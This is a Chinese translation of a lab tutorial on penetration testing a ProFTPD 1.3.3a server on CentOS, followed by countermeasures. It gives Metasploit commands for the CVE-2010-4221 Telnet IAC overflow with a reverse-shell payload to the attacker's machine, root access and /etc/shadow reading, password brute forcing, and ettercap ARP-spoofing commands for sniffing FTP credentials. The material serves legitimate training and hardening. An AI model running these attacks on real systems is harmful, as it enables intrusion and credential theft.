在这篇文章中,我们将学习如何在CentOS机器配置ProFTPD的服务。之后,我们将进行渗透测试,以评估FTP服务的安全性,那么我们也将学习漏洞的对策。

在CentOS Linux机器的安装和配置FTP服务

[1] ProFTPD的源代码库的ProFTPD的服务器(1.3.3a)旧版本的源代码下载,位于ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2.

使用的命令是没有hash签名的Proftpd(2011年)

# cd/usr/local/src

# wget -c ‘ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2’

[2]对于开发库和编译器的源代码编译,需要安装CentOS的机器上。他们安装使用下面的命令(ProFTPD,2013年):

# yum -y groupinstall ‘Development tools’

[3] ProFTPD服务器出于安全原因,作为一个非特权用户在Linux系统上运行。A组被称为ftpd的创建,然后被称为ftpd的用户也创造了属于的ftpd组。使用下面的命令:

使用用命令 作用

Groupadd ftpd 创建一个新组名为ftpd的属于/ etc / group文件。

useradd -G ftpd ftpd 创建一个新的用户名为ftpd,-G参数指定ftpd作为其主组,同事隶属于/ etc / passwd文件。

[4]一旦被添加用户和组的ftpd,下一步是编译源代码的PROFTP服务器,以产生的ProFTPD的二进制,支持FTP(文件传输协议)。使用下面的命令来实现这一点(ProFTPD,2011):

使用用命令 作用

cd /usr/local/src 使用CD命令进入/usr/local/src目录下

tar -jxf proftpd-1.3.3a.tar.bz2 使用tar –jxf参数解压proftpd-1.3.3a.tar.bz2归档文件

cd proftpd-1.3.3a 使用CD命令进入proftpd-1.3.3a文件夹

命令(续) 作用
install_user=ftpdinstall_group=ftpd ./configure–prefix=/usr

–sysconfdir=/etc

该命令运行一个shell脚本,称为当前目录中的配置。这个脚本会检查的构建依赖和机器架构上的软件编译。该命令的主要任务是生成一个文件名为“Makefile文件。”“Makefile”文件包含读取make命令编译和安装指示。该install_user和install_group命令指示的用户和组的配置实用程序使用的ProFTPDare ftpd和ftpd的分别。prefix= / USR表示配置实用程序的二进制文件应该被安装在/ usr目录,而不是/ usr / local目录下(默认)下。最后,SYSCONFDIR=/ etc表示configure脚本配置文件应安装在/ etc目录中。
Make 该命令编译的二进制文件按装在Makefile中的表示。
make install 此命令安装编译好的二进制文件,其中包括名为proftpd的ProFTPD的守护进程。

[5]一旦被编译的二进制文件,proftpd的位置被发现使用下面的命令:

# which proftpd

该版本也被选中使用下面的命令:

#/usr/sbin/proftpd –v

[6] ProFTPD服务器的主要配置文件,称为proftpd.conf中,这是位于/ etc,使用vi编辑器编辑。最终的配置文件看起来像下面这样。配置大量(注释#符号开始)的解释:

同一个文件的配置指令,开始<Anonymous ~ftp>结束 </Anonymous> ,它里面的所有指令被注释掉(通过把一个hash符号前面的配置)禁用匿名FTP服务ProFTPD服务器。

最终的配置文件,只允许本地Linux账户/用户(通过/ etc / passwd文件中定义的用户)和chroot到他们的主目录(限制),使他们无法摆脱该目录。

[7]由于ProFTPD的守护进程配置为支持本地Linux账户和他/她的主目录为chroot用户,一个新的用户称为prithak密码,密码加入到Linux系统进行测试。使用下面的命令:

# useradd prithak

# passwd prithak(enter password prithak twice)

同样,另一位用户名为丹尼尔也被添加到系统中。最后,现在我们系统上有以下的用户:

用户名 密码

prithak 1234qwer

daniel 1a2b3c

CHINTAN A1B2C3D4

[8] PROFTP服务器(192.168.79.135)在调试模式下启动,并使用内置的Windows ftp命令访问Windows机器(192.168.79.1)。用户prithak(密码prithak)能够成功登录到ProFTPD服务器,并在同一时间生产ProFTPD服务器调试日志在标准输出上,确认登录的细节。

ProFTPD的开始使用以下命令行选项:

proftpd -n -d 4 -c /etc/proftpd.conf –ipv4

选项如下:

-N

运行ProFTPD的进程在独立模式(必须配置在配置文件中),但没有背景的过程或解除它控制tty的。此外,所有输出(日志或调试消息)发送到stderr,而不是syslog机制。

-D

在调试模式下运行ProFTPD服务器。4个参数增加了冗长的日志4

-C

/ etc / proftpd.conf中指示ProFTPD的守护程序读取配置文件位于/ etc / proftpd.conf中。

-IPV4

表示ProFTPD的守护进程只监听IPV4地址,即禁用IPV6(如果存在的话)。

[9]要确保服务器上运行的PROFTP(192.168.79.135)开始,每次重新启动Linux的初始化脚本(init脚本)与源PROFTP被复制到:CentOS的INIT V(初始化系统V)脚本目录(/ etc / rc.d / init.d中)。然后脚本可执行文件。最后,使用chkconfig命令打开ProFTPD的服务

# cp /usr/local/src/proftpd-1.3.3a/contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd

# chmod 775 /etc/rc.d/init.d/proftpd

# chkconfig proftpd on

侦查、踩点、漏洞利用

[1]侦查和踩点

每一个漏洞评估的第一步是要找到正在运行什么服务和版本的服务,这就是所谓的侦察和踩点。要完成此步骤应启动对目标机的一个端口扫描。nmap的端口扫描器,发起针对本机使用下列参数:

root@bt:~# nmap -sS -PN -n -sV -sC 192.168.79.135


Nmap扫描结果表明,远程机器上有两个开放的端口:22(SSH)和21(FTP)。此外,在远程机器上运行的FTP服务器的版本ProFTPD的1.3.3a的SSH是OpenSSH的5.3。此外,SSH服务器只支持SSH协议版本2.0。

[2]缓冲区溢出攻击的ProFTPD 服务

当已知的漏洞ProFTPD的1.3.3a在互联网上搜索,得到结果如下:

该漏洞的“CVE-2010-4221”被认定影响ProFTPD的1.3.3.a,我们运行的版本。据分析,“ 多个基于栈的缓冲区溢出的pr_netio_telnet_gets功能在netio.cProFTPD的1.3.3c之前,允许远程攻击者执行任意代码通过涉及TELNET IAC转义字符(1)FTP的载体或(2 )FTPS服务器。

类似的,CVE-2010-4221漏洞利用在互联网上搜索时,它会导致以下Metasploit exploit:“ProFTPD的1.3.2rc3 – 1.3.3b的Telnet IAC缓冲区溢出(Linux)的。”相同的截图如下所示

要成功利用这个漏洞远程机器运行ProFTPD的易受攻击的版本,Metasploit在 Backtrack Linux系统中使用下列命令:

root@bt:~# cd /opt/metasploit/msf3

root@bt:/opt/metasploit/msf3# ./msfconsole

ProFTPD的易受攻击版本上运行192.168.79.135该漏洞被加载,使用下面的命令(命令为红色):

msf>use exploit/linux/ftp/proftp_telnet_iac

msf exploit(proftp_telnet_iac) >set RHOST 192.168.79.135

RHOST => 192.168.79.135

msf exploit(proftp_telnet_iac) >set payload linux/x86/shell_reverse_tcp

msf exploit(proftp_telnet_iac)> set LHOST 192.168.79.144

LHOST => 192.168.79.144

msf exploit(proftp_telnet_iac) >exploit –j

Metasploit的命令 描述
use exploit/linux/ftp/proftp_telnet_iac 加载当前文中提到的proftp_telnet_iac漏洞。
set RHOST 192.168.79.135 攻击的目标主机,即被受攻击的机器的IP地址。
set payload linux/x86/shell_reverse_tcp 将要执行的shellcode成功利用后。这里payload是可选择。payload 反向连接给攻击者,攻击成功后。漏洞应该连接的IP由LHOST参数设置。
set LHOST 192.168.79.144 设置攻击者的IP地址。
exploit –j 作为后台会话启动的漏洞。

成功利用此漏洞的结果,获得反弹shell的192.168.79.135(PROFTP)的服务器。创建一个新的会话shell,使用Metasploit的控制台中的“session -l”命令可以列出。

与会话交互,“session –i 1”命令。要检查的权限级别的用户谁触发了反弹shell,使用如下的命令:

ID

此命令输出的有效用户ID。输出显示,我们有uid和gid 0即root用户。

WHOAMI

此命令是用来输出当前用户的用户名称。这个命令的输出也证实了,我们访问的机器是root权限。

因为我们有超级用户(root)的权限,我们也能够修改/ etc / shadow文件,其中包含了用户的各种系统中的密码哈希,只可读/可写的根用户。下面的截图显示的信息:

[2]暴力破解密码攻击PROFTP服务器

开始了对PROFTP服务器的密码暴力破解攻击,下面是由Python脚本写的。这个脚本试图暴力猜解用户prithak 、CHINTAN、daniel的密码。默认的密码文件附带bracktrack作为密码数据库文件。

使用上面的Python脚本,成功暴力破解出FTP用户prithak CHINTAN,丹尼尔的密码。下面的截图显示获取的密码:

由于大多数系统多个服务使用相同的用户名和密码,用户名和密码信息,从先前的攻击是用来对付SSH服务器运行在同一台服务器上。这种攻击也被称为“密码暴力猜解”(Harper,,2011)。密码破解攻击是成功的,上述凭证有效期为SSH登录。下面的截图显示在SSH成功​​登录:

[3] ARP欺骗和密码嗅探攻击

因为FTP协议发送用户名和密码以明文,它是容易受到密码嗅探攻击。在这种攻击中,以下IP机器涉及:

192.168.79.135 PROFTP服务器(FTP服务器)

192.168.79.144 Backtrack(攻击者)

192.168.79.150的Windows XP(FTP客户端)

下面的截图显示的ARP欺骗攻击之前推出的Windows XP主机地址解析协议表:

由此可以看出,所有的主机具有与它们相关联的不同的MAC地址。现在,因为攻击者是在同一个局域网段作为FTP服务器和FTP客户端,它是可能的攻击者发动ARP欺骗攻击,使他可以坐在中间的FTP交流和嗅探密码。要做到这一点,攻击者的计算机上执行以下步骤:

1、 启用IP转发给攻击者的机器,它可以在FTP服务器和FTP客户端之间通信。这是通过使用下面的命令:

# echo 1 > /proc/sys/net/ipv4/ip_forward

2、ettercap软件是被用来发起一个ARP欺骗攻击给192.168.79.150【Windows XP(FTP客户端)]和192.168.79.135 PROFTP的服务器(FTP服务器)。使用如下的命令:

# ettercap –iface eth4 –text –quiet –mitmarp /192.168.79.150/ /192.168.79.135/

3、下面的截图显示在Windows XP计算机上发起攻击之前和之后的ARP表:

4、现在,当客户端登录到FTP服务器,ettercap软件来抓起密码并输出。

防御措施

[1]缓冲区溢出利用对策

由于系统上运行的ProFTPD的版本较旧,最有效的对策是安装相同的软件的最新版本。另一种对策是安装FTP服务器更安全的版本,具有很好的安全追踪。pureftpd的服务器似乎比ProFTPD服务器有更好的安全追踪。

应用对策,我们pureftpd的选择升级到最新版本。这是通过类似的步骤,后用来安装旧版本的ProFTPD的。所采用的步骤如下:

ProFTPD服务器的运行版本停止使用下面的命令:

# service proftpd stop

进入它的源目录,并使用“卸载”命令,删除旧版本的ProFTPD服务器。

# cd /usr/local/src/proftpd-1.3.3a

# make deinstall

ProFTPD的服务器的源代码最新版本的下载和使用md5sum命令来验证它的MD5校验。下面的屏幕截图显示了信息:

ProFTPD的较新版本的编译和安装,使用下面的命令:

# tar zxvf proftpd-1.3.5rc2.tar.gz

# cd proftpd-1.3.5rc2

# install_user=ftpdinstall_group=ftpd ./configure –prefix=/usr –sysconfdir=/etc –with-modules=mod_tls

# make

# make install

[注:已解释所有这些命令及其用法已经安装了旧版本的ProFTPD的。mod_tls选项使FTP通过SSL / TLS(FTPS)协议的支持。]

ProFTPD的版本检查时,它出来,ProFTPD的版本1.3.5rc2。

最新版本的ProFTPD开始然后lsof命令是用来验证FTP服务器正在运行:

它也可以使用以前使用相同的用户名和密码登录到FTP。这证明了确实是升级的FTP服务完美的工作。当先前使用相同的漏洞发起针对该ProFTPD服务器使用Metasploit的,它失败了。这验证服务已被修补。此外,在写作的时候,没有已知漏洞(本地或远程)ProFTPD服务器版本1.3.5-RC2,我们正在运行。

[2]防范密码嗅探攻击

可以保证FTP协议使用的FTP SSL(FTPS)协议。可以执行下面的步骤,使FTPS:

1、生成的SSL / TLS证书使用OpenSSL工具与Linux(FALKO,2011):

# mkdir /etc/ssl_certs/

# opensslreq -new -x509 -days 730 -nodes -out \

/etc/ssl_certs/proftpd.cert.pem -keyout /etc/ssl_certs/proftpd.key.pem

确保该证书有效期为730天,两年。

2、ProFTPD服务器被配置为支持FTPS协议,通过编辑/etc/proftpd.conf中的配置文件。此外,明文FTP协议被禁止,和FTPS执行。ProFTPD的拒绝明文FTP连接。下面的屏幕截图显示了添加行注释和解释:

3、一旦配置完成后,重新启动ProFTPD的守护进程,使用“service proftpd restart”命令。现在,当Windows 7内置在FTP.EXE客户端被用于使用明文FTP协议连接到服务器,服务器拒绝连接错误消息:

“550 SSL/TLS required on the control channel.”

4、为了测试登录,FileZilla的FTP客户端的安装和它能够成功登录到ProFTPD服务器使用SSL / TLS。然而,有关证书的警告讯息显示。这是由于这样的事实,该证书是自签名的。一旦证书被接受​​,在连续登录,没有任何错误。

此外,用于FTP服务器的密码应该是保密性强。FTP用户应该有自己的shell更改为/bin/false,这会确保FTP用户将无法通过SSH,telnet或TTY会话登录。这样做是使用下面的命令:

# chsh -s /bin/false prithak

# chsh -s /bin/false daniel

# chsh -s /bin/false chintan

# echo /bin/false >> /etc/shells

[3]防范密码暴力破解攻击

为了防范密码暴力破解攻击,采取以下步骤:

1、选择强密码和用户密码进行了升级。使用下面的命令:

# passwd prithak(提示密码alj234wkjw 82jlk2133当输入两次)

# passwdchitan( 当系统提示输入密码234aj%2] 32 [maere输入两次)

# passwddaniel( 当系统提示输入密码; 8 @#%2./ere的$ * 0.0 *两次输入)

2、Fail2ban的实用程序ProFTPD的系统上安装和配置。Fail2ban的实用程序可以检测和防止密码暴力破解攻击,通过阻断攻击者的IP地址(ES)。ProFTPD的日志(/var/log/secure)检查,并根据配置,自动插入iptables防火墙规则(次),以阻止违规的IP地址。采取以下步骤来安装和配置ProFTPD的fail2ban的:

(1)、Fail2ban的安装使用以下命令(Selvaganeshan,2010):

# wgethttp://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

# rpm -ivh epel-release-6-8.noarch.rpm

# yum install -y fail2ban

(2)、/ etc/fail2ban/jail.conf文件编辑和以下参数改变(Selvaganeshan,2010):

bantime = 600

maxretry = 4

bantime定义的秒数来阻止攻击者的IP和的maxretry参数是允许的IP被封锁之前的错误数。因此,在这种情况下,如果任何一个IP有四个以上的失败的登录,是被禁止的。同样,监测ProFTPD的日志也被启用在“proftpd的iptables的”部分:

然后重新启动fail2ban的服务使用下面的命令:

# /etc/init.d/fail2ban restart

起初,没有IP地址被fail2ban iptables协助。 默认规则集的fail2ban-ProFTPD链是空的,如下所示:

当FTP密码暴力破解攻击进行IP地址192.168.79.222(backtrack)在ProFTPD服务器(192.168.79.135),检测到的攻击,攻击者的IP地址被阻塞:

iptables的规则来阻止fail2ban的插入IP 192.168.79.222下文重点介绍:

结论

从源代码安装ProFTPD的服务器,并使用缓冲区溢出漏洞攻击,密码嗅探和密码蛮力攻击。此外,服务是固定使用强制SSL / TLS证书和Fail2ban的入侵检测系统,并升级到最新版本的服务。

本文有小安攻防研究室翻译,如有翻译错误请联系管理员纠正,转载请注明地址谢谢。

原文:http://resources.infosecinstitute.com/penetration-testing-of-an-ftp-service/

参考:

http://openmaniak.com/ettercap.php

http://www.howtoforge.com/setting-up-proftpd-tls-on-debian-squeeze.

http://www.proftpd.org/docs/howto/Compiling.html

FTP渗透测试的更多相关文章

  1. 渗透测试工具Nmap从初级到高级使用教程

    本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...

  2. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

  3. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  4. 渗透测试工具Nmap从初级到高级

    Nmap是一款网络扫描和主机检测的非常有用的工具. Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它可以适用于winodws,linux,mac等操作系统.Nmap ...

  5. Web渗透测试笔记(基础部分)

    信息收集: dns信息收集 格式:dns... -参数 域名 -参数 示例: root@xxSec:~# dnsenum baidu.com root@xxSec:~# dnsenum -f dns. ...

  6. Kali Linux渗透测试实战 2.2 操作系统指纹识别

    目录 2.2 操作系统指纹识别 2.2.1 Banner抓取 2.2.2 TCP 和 ICMP 常规指纹识别技术 TCP数据报格式 ICMP首部格式 TTL与TCP窗口大小 FIN探测 BOGUS f ...

  7. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  8. 读书笔记 ~ Nmap渗透测试指南

    记录Nmap选项及脚本使用,仅供参考... 除了端口扫描,好像其它脚本都比较鸡肋,用途感觉应该没有专用的小工具好用,不过还是可以看看,选项和脚本还是相当的丰富的. Nmap 使用帮助 starnigh ...

  9. Kail Linux渗透测试教程之在Metasploit中扫描

    Kail Linux渗透测试教程之在Metasploit中扫描 在Metasploit中扫描 在Metasploit中,附带了大量的内置扫描器.使用这些扫描器可以搜索并获得来自一台计算机或一个完整网络 ...

随机推荐

  1. 大数据分析系统Hadoop的13个开源工具

    Hadoop是由Apache基金会开发的一个大数据分布式系统基础架构,最早版本是2003年原Yahoo!DougCutting根据Google发布的学术论文研究而来. 用户可以在不了解分布式底层细节的 ...

  2. SparkR链接mysql数据库(踩坑)

    本文主要讲述sparkR链接Mysql的过程和坑. SparkR的开发可以用RStudio工具进行开发,连接spark可以通过RStudio界面中的Connections进行配置连接;具体方法这里不做 ...

  3. SSL&TlS握手

    SSL/TLS简介 •SSL:安全套接字层(secure socket layer) •TLS:传输层安全协议(transport layer security) SSL和TLS都是加密协议,旨在基于 ...

  4. Laravel框架定时任务2种实现方式示例

    本文实例讲述了Laravel框架定时任务2种实现方式.分享给大家供大家参考,具体如下: 第一种 1.生成一个commands文件 > php artisan make:command test ...

  5. j使用数组实现约瑟夫环 java

    我们首先来看一下约瑟夫环问题: 给定m个人,m个人围成一圈,在给定一个数n,从m个人中的第一个人每第n个人便将其除去,求被最后一个出去的人的编号. 思路: 建立一个长度为m+1的数组,将其的内容初始化 ...

  6. 20155325 加分作业 实现pwd

    要求 1 学习pwd命令 2 研究pwd实现需要的系统调用(man -k; grep),写出伪代码 3 实现mypwd 4 测试mypwd 准备 思路 问题 1.如何获取当前目录的节点号 Linux ...

  7. [POJ2104]Kth Number-[整体二分]

    Description 传送门 Solution 将所有询问放在一起,二分答案的同时把区间[l,r]内的数按大小分类. Code #include<iostream> #include&l ...

  8. 北京Uber优步司机奖励政策(4月16日)

    滴快车单单2.5倍,注册地址:http://www.udache.com/ 如何注册Uber司机(全国版最新最详细注册流程)/月入2万/不用抢单:http://www.cnblogs.com/mfry ...

  9. 洛谷1552 [APIO2012]派遣

    洛谷1552 [APIO2012]派遣 原题链接 题解 luogu上被刷到了省选/NOI- ...不至于吧 这题似乎有很多办法乱搞? 对于一个点,如果他当管理者,那选的肯定是他子树中薪水最少的k个,而 ...

  10. 深入解析QML引擎, 第4部分: 自定义解析器

    原文 QML Engine Internals, Part 4: Custom Parsers ——————————————————————————————————————————— 上一篇 绑定类型 ...